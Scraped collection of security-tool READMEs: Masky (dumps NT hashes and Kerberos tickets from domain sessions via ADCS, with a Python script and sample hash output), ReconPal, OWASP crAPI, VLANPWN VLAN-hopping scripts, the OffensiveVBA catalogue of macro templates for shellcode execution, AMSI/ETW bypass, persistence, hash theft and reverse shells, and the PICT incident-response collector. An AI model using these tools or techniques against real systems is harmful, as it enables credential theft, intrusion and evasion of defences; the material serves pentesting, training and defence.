Masky has been designed as a Python library. Moreover, a command line interface was created on top of it to ease its usage during pentest or RedTeam activities.

For both usages, you need first to retrieve the FQDN of a CA server and its CA name deployed via an ADCS. This information can be easily retrieved via the certipy find option or via the Microsoft built-in certutil.exe tool. Make sure that the default User template is enabled on the targeted CA.

Warning: Masky deploys an executable on each target via a modification of the existing RasAuto service. Despite the automated roll-back of its intial ImagePath value, an unexpected error during Masky runtime could skip the cleanup phase. Therefore, do not forget to manually reset the original value in case of such unwanted stop.

Command line

The following demo shows a basic usage of Masky by targeting 4 remote systems. Its execution allows to collect NT hashes, CCACHE and PFX of 3 distincts domain users from the sec.lab testing domain.

Masky also provides options that are commonly provided by such tools (thread number, authentication mode, targets loaded from files, etc. ).

  __  __           _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/

usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]

positional arguments:
targets Targets in CIDR, hostname and IP formats are accepted, from a file or not

options:
-h, --help show this help message and exit
-v, --verbose Enable debugging messages
-ts, --timestamps Display timestamps for each log
-t THREADS, --threads THREADS
Threadpool size (max 15)

Authentication:
-d DOMAIN, --domain DOMAIN
Domain name to authenticate to
-u USER, --user USER Username to au thenticate with
-p PASSWORD, --password PASSWORD
Password to authenticate with
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
-H HASHES, --hashes HASHES
Hashes to authenticate with (LM:NT, :NT or :LM)

Connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Certificate Authority Name (SERVER\CA_NAME)

Results:
-nh, --no-hash Do not request NT hashes
-nt, --no-ccache Do not save ccache files
-np, --no-pfx Do not save pfx files
-o OUTPUT, --output OUTPUT
Local path to a folder where Masky results will be stored (automatically creates the folde r if it does not exit)

Python library

Below is a simple script using the Masky library to collect secrets of running domain user sessions from a remote target.

from masky import Masky
from getpass import getpass


def dump_nt_hashes():
# Define the authentication parameters
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()

# Create a Masky instance with these credentials
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)

# Set a target and run Masky against it
target = "192.168.23.130"
rslts = m.run(target)

# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
if not rslts:
return False

# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.n ame} - {user.nt_hash}")

return True


if __name__ == "__main__":
dump_nt_hashes()

Its execution generate the following output.

$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a

A MaskyResults object containing a list of User objects is returned after a successful execution of Masky.

Please look at the masky\lib\results.py module to check the methods and attributes provided by these two classes.

Acknowledgments



ReconPal - Leveraging NLP For Infosec


Recon is one of the most important phases that seem easy but takes a lot of effort and skill to do right. One needs to know about the right tools, correct queries/syntax, run those queries, correlate the information, and sanitize the output. All of this might be easy for a seasoned infosec/recon professional to do, but for rest, it is still near to magic. How cool it will be to ask a simple question like "Find me an open Memcached server in Singapore with UDP support?" or "How many IP cameras in Singapore are using default credentials?" in a chat and get the answer?

The integration of GPT-3, deep learning-based language models to produce human-like text, with well-known recon tools like Shodan, is the foundation of ReconPal. ReconPal also supports using voice commands to execute popular exploits and perform reconnaissance.


Built With

  • OpenAI GPT-3
  • Shodan API
  • Speech-to-Text
  • Telegram Bot
  • Docker Containers
  • Python 3

Getting Started

To get ReconPal up and running, follow these simple steps.

Prerequisites

Installation

  1. Clone the repo

    git clone https://github.com/pentesteracademy/reconpal.git
  2. Enter your OPENAI, SHODAN API keys, and TELEGRAM bot token in docker-compose.yml

    OPENAI_API_KEY=<Your key>
    SHODAN_API_KEY=<Your key>
    TELEGRAM_BOT_TOKEN=<Your token>
  3. Start reconpal

    docker-compose up

Usage

Open the telegram app and select the created bot to use ReconPal.

  1. Click on start or just type in the input box.
/start
  1. Register the model.
/register
  1. Test the tool with some commands.
scan 10.0.0.8

Tool featured at

Contributors

Jeswin Mathai, Senior Security Researcher, INE jmathai@ine.com

Nishant Sharma, Security Research Manager, INE nsharma@ine.com

Shantanu Kale, Cloud Developer, INE skale@ine.com

Sherin Stephen, Cloud Developer, INE sstephen@ine.com

Sarthak Saini (Ex-Pentester Academy)

Documentation

For more details, refer to the "ReconPal.pdf" PDF file. This file contains the slide deck used for presentations.

Screenshots

Starting reconpal and registering model

Finder module in action

Scanner module in action

Attacker module in action

Voice Support

License

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License v2 as published by the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/.



crAPI - Completely Ridiculous API


completely ridiculous API (crAPI) will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself.

crAPI is modern, built on top of a microservices architecture. When time has come to buy your first car, sign up for an account and start your journey. To know more about crAPI, please check crAPI's overview.


QuickStart Guide

Docker

You'll need to have Docker installed and running on your host system.

Using prebuilt images

You can use prebuilt images generated by our CI workflow.

  • To use the latest stable version.

    • Linux Machine
    curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.yml

    docker-compose pull

    docker-compose -f docker-compose.yml --compatibility up -d
    • Windows Machine
    curl.exe -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.yml

    docker-compose pull

    docker-compose -f docker-compose.yml --compatibility up -d
  • To use the latest development version

    • Linux Machine
    curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/develop/deploy/docker/docker-compose.yml

    VERSION=develop docker-compose pull

    VERSION=develop docker-compose -f docker-compose.yml --compatibility up -d
    • Windows Machine
    Visit http://localhost:8888

    Note: All emails are sent to mailhog service by default and can be checked on http://localhost:8025 You can change the smtp configuration if required however all emails with domain example.com will still go to mailhog.

    Vagrant

    This option allows you to run crAPI within a virtual machine, thus isolated from your system. You'll need to have Vagrant and, for example VirtualBox installed.

    1. Clone crAPI repository
      $ git clone [REPOSITORY-URL]
    2. Start crAPI Virtual Machine
      $ cd deploy/vagrant && vagrant up
    3. Visit http://192.168.33.20

    Note: All emails are sent to mailhog service and can be checked on http://192.168.33.20:8025

    Once you're done playing with crAPI, you can remove it completely from your system running the following command from the repository root directory

    $ cd deploy/vagrant && vagrant destroy

    For more deployment options visit the setup instructions for more details.

    To know more about challenges in crAPI. Visit challenges



VLANPWN - VLAN Attacks Toolkit


VLAN attacks toolkit

DoubleTagging.py - This tool is designed to carry out a VLAN Hopping attack. As a result of injection of a frame with two 802.1Q tags, a test ICMP request will also be sent.

DTPHijacking.py - A script for conducting a DTP Switch Spoofing/Hijacking attack. Sends a malicious DTP-Desirable frame, as a result of which the attacker's machine becomes a trunk channel. The impact of this attack is that you can bypass the segmentation of VLAN networks and see all the traffic of VLAN networks.

python3 DoubleTagging.py --help

.s s. .s .s5SSSs. .s s. .s5SSSs. .s s. s. .s s.
SS. SS. SS. SS. SS. SS. SS.
sS S%S sS sS S%S sSs. S%S sS S%S sS S%S S%S sSs. S%S
SS S%S SS SS S%S SS`S. S%S SS S%S SS S%S S%S SS`S. S%S
SS S%S SS SSSs. S%S SS `S.S%S SS .sS::' SS S%S S%S SS `S.S%S
SS S%S SS SS S%S SS `sS%S SS SS S%S S%S SS `sS%S
SS `:; SS SS `:; SS `:; SS SS `:; `:; SS `:;
SS ;,. SS ;,. SS ;,. SS ;,. SS SS ;,. ;,. SS ;,.
`:;;:' `:;;;;;:' :; ;:' :; ;:' `: `:;;:'`::' :; ;:'

VLAN Double Tagging inject tool. Jump into another VLAN!

Author: @necreas1ng, <necreas1ng@protonmail.com>

usage: DoubleTagging.py [-h] --interface INTERFACE --nativevlan NATIVEVLAN --targetvlan TARGETVLAN --victim VICTIM --attacker ATTACKER

options:
-h, --help show this help message and exit
--interface INTERFACE
Specify your network interface
--nativevlan NATIVEVLAN
Specify the Native VLAN ID
--targetvlan TARGETVLAN
Specify the target VLAN ID for attack
--victim VICTIM Specify the target IP
--attacker ATTACKER Specify the attacker IP

Example:

python3 DoubleTagging.py --interface eth0 --nativevlan 1 --targetvlan 20 --victim 10.10.20.24 --attacker 10.10.10.54
python3 DTPHijacking.py --help

.s s. .s .s5SSSs. .s s. .s5SSSs. .s s. s. .s s.
SS. SS. SS. SS. SS. SS. SS.
sS S%S sS sS S%S sSs. S%S sS S%S sS S%S S%S sSs. S%S
SS S%S SS SS S%S SS`S. S%S SS S%S SS S%S S%S SS`S. S%S
SS S%S SS SSSs. S%S SS `S.S%S SS .sS::' SS S%S S%S SS `S.S%S
SS S%S SS SS S%S SS `sS%S SS SS S%S S%S SS `sS%S
SS `:; SS SS `:; SS `:; SS SS `:; `:; SS `:;
SS ;,. SS ;,. SS ;,. SS ;,. SS SS ;,. ;,. SS ;,.
`:;;:' `:;;;;;:' :; ;:' :; ;:' `: `:;;:'`::' :; ;:'

DTP Switch Hijacking tool. Become a trunk!

Author: @necreas1ng, <necreas1ng@protonmail.com>

usage: DTPHijacking.py [-h] --interface INTERFACE

options:
-h, --help show this help message and exit
--interface INTERFACE
Specify your network interface

Example:

python3 DTPHijacking.py --interface eth0


OffensiveVBA - Code Execution And AV Evasion Methods For Macros In Office Documents


In preparation for a VBS AV Evasion Stream/Video I was doing some research for Office Macro code execution methods and evasion techniques.

The list got longer and longer and I found no central place for offensive VBA templates - so this repo can be used for such. It is very far away from being complete. If you know any other cool technique or useful template feel free to contribute and create a pull request!

Most of the templates in this repo were already published somewhere. I just copy pasted most templates from ms-docs sites, blog posts or from other tools.


Templates in this repo

File Description
ShellApplication_ShellExecute.vba Execute an OS command via ShellApplication object and ShellExecute method
ShellApplication_ShellExecute_privileged.vba Execute an privileged OS command via ShellApplication object and ShellExecute method - UAC prompt
Shellcode_CreateThread.vba Execute shellcode in the current process via Win32 CreateThread
Shellcode_EnumChildWindowsCallback.vba Execute shellcode in the current process via EnumChildWindows
Win32_CreateProcess.vba Create a new process for code execution via Win32 CreateProcess function
Win32_ShellExecute.vba Create a new process for code execution via Win32 ShellExecute function
WMI_Process_Create.vba Create a new process via WMI for code execution
WMI_Process_Create2.vba Another WMI code execution example
WscriptShell_Exec.vba Execute an OS command via WscriptShell object and Exec method
WscriptShell_run.vba Execute an OS command via WscriptShell object and Run method
VBA-RunPE @itm4n's RunPE technique in VBA
GadgetToJScript med0x2e's C# script for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA based scripts.
PPID_Spoof.vba christophetd's spoofing-office-macro copy
AMSIBypass_AmsiScanBuffer_ordinal.vba rmdavy's AMSI Bypass to patch AmsiScanBuffer using ordinal values for a signature bypass
AMSIBypass_AmsiScanBuffer_Classic.vba rasta-mouse's classic AmsiScanBuffer patch
AMSIBypass_Heap.vba rmdavy's HeapsOfFun repo copy
AMSIbypasses.vba outflanknl's AMSI bypass blog
COMHijack_DLL_Load.vba Load DLL via COM Hijacking
COM_Process_create.vba Create process via COM object
Download_Autostart.vba Download a file from a remote webserver and put it into the StartUp folder
Download_Autostart_WinAPI.vba Download a file from a remote webserver via URLDownloadtoFileA and put it into the StartUp folder
Dropper_Autostart.vba Drop batch file into the StartUp folder
Registry_Persist_wmi.vba Create StartUp registry key for persistence via WMI
Registry_Persist_wscript.vba Create StartUp registry key for persistence via wscript object
ScheduledTask_Create.vba Create and start sheduled task for code execution/persistence
XMLDOM_Load_XSL_Process_create.vba Load XSL from a remote webserver to execute code
regsvr32_sct_DownloadExecute.vba Execute regsvr32 to download a remote webservers SCT file for code execution
BlockETW.vba Patch EtwEventWrite in ntdll.dll to block ETW data collection
BlockETW_COMPLUS_ETWEnabled_ENV.vba Block ETW data collection by setting the environment variable COMPLUS_ETWEnabled to 0, credit to @xpn
ShellWindows_Process_create.vba ShellWindows Process create to get explorer.exe as parent process
AES.vba An example to use AES encryption/decryption in VBA from Here
Dropper_Executable_Autostart.vba Get executable bytes from VBA and drop into Autostart - no download in this case
MarauderDrop.vba Drop a COM registered .NET DLL into temp, import the function and execute code - in this case loads a remote C# binary from a webserver to memory and executes it - credit to @Jean_Maes_1994 for MaraudersMap
Dropper_Workfolders_lolbas_Execute.vba Drop an embedded executable into the TEMP directory and execute it using C:\windows\system32\Workfolders.exe as LOLBAS - credit to @YoSignals
SandBoxEvasion Some SandBox Evasion templates
Evasion Dropper Autostart.vba Drops a file to the Startup directory bypassing file write monitoring via renamed folder operation
Evasion MsiInstallProduct.vba Installs a remote MSI package using WindowsInstaller ActiveXObject avoiding spawning suspicious office child process, the msi installation will be executed as a child of the MSIEXEC /V service
StealNetNTLMv2.vba Steal NetNTLMv2 Hash via share connection - credit to https://book.hacktricks.xyz/windows/ntlm/places-to-steal-ntlm-creds
Parse-Outlook.vba Parses Outlook for sensitive keywords and file extensions, and exfils them via email - credit to JohnWoodman
Reverse-Shell.vba Reverse shell written entirely in VBA using Windows API calls - credit to JohnWoodman

Missing - ToDos

File Description
Unhooker.vba Unhook API's in memory to get rid of hooks
Syscalls.vba Syscall usage - fresh from disk or Syswhispers like
Manymore.vba If you have any more ideas feel free to contribute

Obfuscators / Payload generators

  1. VBad
  2. wePWNise
  3. VisualBasicObfuscator - needs some modification as it doesn't split up lines and is therefore not usable for office document macros
  4. macro_pack
  5. shellcode2vbscript.py
  6. EvilClippy
  7. OfficePurge
  8. SharpShooter
  9. VBS-Obfuscator-in-Python - - needs some modification as it doesn't split up lines and is therefore not usable for office document macros

Credits / usefull resources

ASR bypass: http://blog.sevagas.com/IMG/pdf/bypass_windows_defender_attack_surface_reduction.pdf

Shellcode to VBScript conversion: https://github.com/DidierStevens/DidierStevensSuite/blob/master/shellcode2vbscript.py

Bypass AMSI in VBA: https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/

VBA purging: https://www.mandiant.com/resources/purgalicious-vba-macro-obfuscation-with-vba-purging

F-Secure VBA Evasion and detection post: https://blog.f-secure.com/dechaining-macros-and-evading-edr/

One more F-Secure blog: https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/



Pict - Post-Infection Collection Toolkit


This set of scripts is designed to collect a variety of data from an endpoint thought to be infected, to facilitate the incident response process. This data should not be considered to be a full forensic data collection, but does capture a lot of useful forensic information.

If you want true forensic data, you should really capture a full memory dump and image the entire drive. That is not within the scope of this toolkit.


How to use

The script must be run on a live system, not on an image or other forensic data store. It does not strictly require root permissions to run, but it will be unable to collect much of the intended data without.

Data will be collected in two forms. First is in the form of summary files, containing output of shell commands, data extracted from databases, and the like. For example, the browser module will output a browser_extensions.txt file with a summary of all the browser extensions installed for Safari, Chrome, and Firefox.

The second are complete files collected from the filesystem. These are stored in an artifacts subfolder inside the collection folder.

Syntax

The script is very simple to run. It takes only one parameter, which is required, to pass in a configuration script in JSON format:

./pict.py -c /path/to/config.json

The configuration script describes what the script will collect, and how. It should look something like this:

collection_dest

This specifies the path to store the collected data in. It can be an absolute path or a path relative to the user's home folder (by starting with a tilde). The default path, if not specified, is /Users/Shared.

Data will be collected in a folder created in this location. That folder will have a name in the form PICT-computername-YYYY-MM-DD, where the computer name is the name of the machine specified in System Preferences > Sharing and date is the date of collection.

all_users

If true, collects data from all users on the machine whenever possible. If false, collects data only for the user running the script. If not specified, this value defaults to true.

collectors

PICT is modular, and can easily be expanded or reduced in scope, simply by changing what Collector modules are used.

The collectors data is a dictionary where the key is the name of a module to load (the name of the Python file without the .py extension) and the value is the name of the Collector subclass found in that module. You can add additional entries for custom modules (see Writing your own modules), or can remove entries to prevent those modules from running. One easy way to remove modules, without having to look up the exact names later if you want to add them again, is to move them into a top-level dictionary named unused.

settings

This dictionary provides global settings.

keepLSData specifies whether the lsregister.txt file - which can be quite large - should be kept. (This file is generated automatically and is used to build output by some other modules. It contains a wealth of useful information, but can be well over 100 MB in size. If you don't need all that data, or don't want to deal with that much data, set this to false and it will be deleted when collection is finished.)

zipIt specifies whether to automatically generate a zip file with the contents of the collection folder. Note that the process of zipping and unzipping the data will change some attributes, such as file ownership.

moduleSettings

This dictionary specifies module-specific settings. Not all modules have their own settings, but if a module does allow for its own settings, you can provide them here. In the above example, you can see a boolean setting named collectArtifacts being used with the browser module.

There are also global module settings that are maintained by the Collector class, and that can be set individually for each module.

collectArtifacts specifies whether to collect the file artifacts that would normally be collected by the module. If false, all artifacts will be omitted for that module. This may be needed in cases where storage space is a consideration, and the collected artifacts are large, or in cases where the collected artifacts may represent a privacy issue for the user whose system is being analyzed.

Writing your own modules

Modules must consist of a file containing a class that is subclassed from Collector (defined in collectors/collector.py), and they must be placed in the collectors folder. A new Collector module can be easily created by duplicating the collectors/template.py file and customizing it for your own use.

def __init__(self, collectionPath, allUsers)

This method can be overridden if necessary, but the super Collector.init() must be called in such a case, preferably before your custom code executes. This gives the object the chance to get its properties set up before your code tries to use them.

def printStartInfo(self)

This is a very simple method that will be called when this module's collection begins. Its intent is to print a message to stdout to give the user a sense of progress, by providing feedback about what is happening.

def applySettings(self, settingsDict)

This gives the module the chance to apply any custom settings. Each module can have its own self-defined settings, but the settingsDict should also be passed to the super, so that the Collection class can handle any settings that it defines.

def collect(self)

This method is the core of the module. This is called when it is time for the module to begin collection. It can write as many files as it needs to, but should confine this activity to files within the path self.collectionPath, and should use filenames that are not already taken by other modules.

If you wish to collect artifacts, don't try to do this on your own. Simply add paths to the self.pathsToCollect array, and the Collector class will take care of copying those into the appropriate subpaths in the artifacts folder, and maintaining the metadata (permissions, extended attributes, flags, etc) on the artifacts.

When the method finishes, be sure to call the super (Collector.collect(self)) to give the Collector class the chance to handle its responsibilities, such as collecting artifacts.

Your collect method can use any data collected in the basic_info.txt or lsregister.txt files found at self.collectionPath. These are collected at the beginning by the pict.py script, and can be assumed to be available for use by any other modules. However, you should not rely on output from any other modules, as there is no guarantee that the files will be available when your module runs. Modules may not run in the order they appear in your configuration JSON, since Python dictionaries are unordered.

Credits

Thanks to Greg Neagle for FoundationPlist.py, which solved lots of problems with reading binary plists, plists containing date data types, etc.



❌